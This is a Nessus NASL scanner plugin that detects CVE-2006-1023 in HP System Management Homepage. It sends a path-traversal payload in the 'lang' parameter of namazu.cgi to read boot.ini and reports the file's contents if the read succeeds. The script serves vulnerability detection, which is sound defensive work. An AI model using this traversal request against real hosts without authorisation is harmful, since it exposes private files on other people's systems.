HP System Management Homepage (SMH) on Windows Namazu lang Parameter Traversal Arbitrary File Access

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(20988);
  script_version("1.24");
  script_set_attribute(attribute:"plugin_modification_date", value:"2022/04/11");

  script_cve_id("CVE-2006-1023");
  script_bugtraq_id(16876);

  script_name(english:"HP System Management Homepage (SMH) on Windows Namazu lang Parameter Traversal Arbitrary File Access");

  script_set_attribute(attribute:"synopsis", value:
"The remote web server contains a CGI script that is affected by an
directory traversal flaw.");
  script_set_attribute(attribute:"description", value:
"The version of HP System Management Homepage installed on the remote
host includes a version of the search engine Namazu that reportedly
fails to validate user input to the 'lang' parameter of the
'namazu.cgi' script.  An attacker may be able to exploit this issue to
access files on the remote host via directory traversal.");
  script_set_attribute(attribute:"see_also", value:"https://www.securityfocus.com/archive/1/426345/30/0/threaded");
  script_set_attribute(attribute:"solution", value:
"Update HP SMH's .namazurc configuration file according to the vendor
advisory.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:W/RC:C");

  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2006/02/09");
  script_set_attribute(attribute:"patch_publication_date", value:"2006/02/27");
  script_set_attribute(attribute:"plugin_publication_date", value:"2006/03/01");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:hp:system_management_homepage");
  script_set_attribute(attribute:"thorough_tests", value:"true");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2006-2022 Tenable Network Security, Inc.");

  script_dependencies("compaq_wbem_detect.nasl");
  script_require_keys("www/hp_smh");
  script_require_ports("Services/www", 2301, 2381);

  exit(0);
}


include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("webapp_func.inc");


port = get_http_port(default:2381, embedded:TRUE);


install = get_install_from_kb(appname:'hp_smh', port:port, exit_on_fail:TRUE);
dir = install['dir'];
version = install['ver'];
prod = get_kb_item_or_exit("www/"+port+"/hp_smh/variant");

# nb: keepalives seem to prevent this from returning any results.
http_disable_keep_alive();

# Try to exploit the flaw to read a file.
#
# nb: this requires that SHM be configured to allow anonymous
#     access to unsecured pages.
file = "/../../../../../../../../../../../../../boot.ini";
req = string(
  "GET /hphelp/WEB_INF/cgi/namazu.cgi?lang=", file, " HTTP/1.0\r\n",
  "Host: ", get_host_name(), "\r\n",
  "\r\n"
);
r = http_send_recv_buf(port: port, data: req, exit_on_fail:TRUE);

res = strcat(r[0], r[1], '\r\n', r[2]);
# There's a problem if looks like boot.ini.
if ("[boot loader]">< res) {
  contents = strstr(res, "[boot loader]");
  if (isnull(contents)) contents = res;

  report = string(
    "Here are the contents of the file '\\boot.ini' that\n",
    "Nessus was able to read from the remote host :\n",
    "\n",
    contents
  );
  security_warning(port:port, extra:report);
  exit(0);
}


# If we're paranoid...
if (report_paranoia > 1)
{
  if (ereg(pattern:"^2\.(0\.|1\.[0-4]\.)", string:version))
  {
    report = string(
      "Nessus has determined the flaw exists with the application based\n",
      "only on the version in the web server's banner. Since the\n",
      "recommended solution involves a configuration change, this may\n",
      "be a false-positive.\n"
    );
    security_warning(port:port, extra:report);
  }
}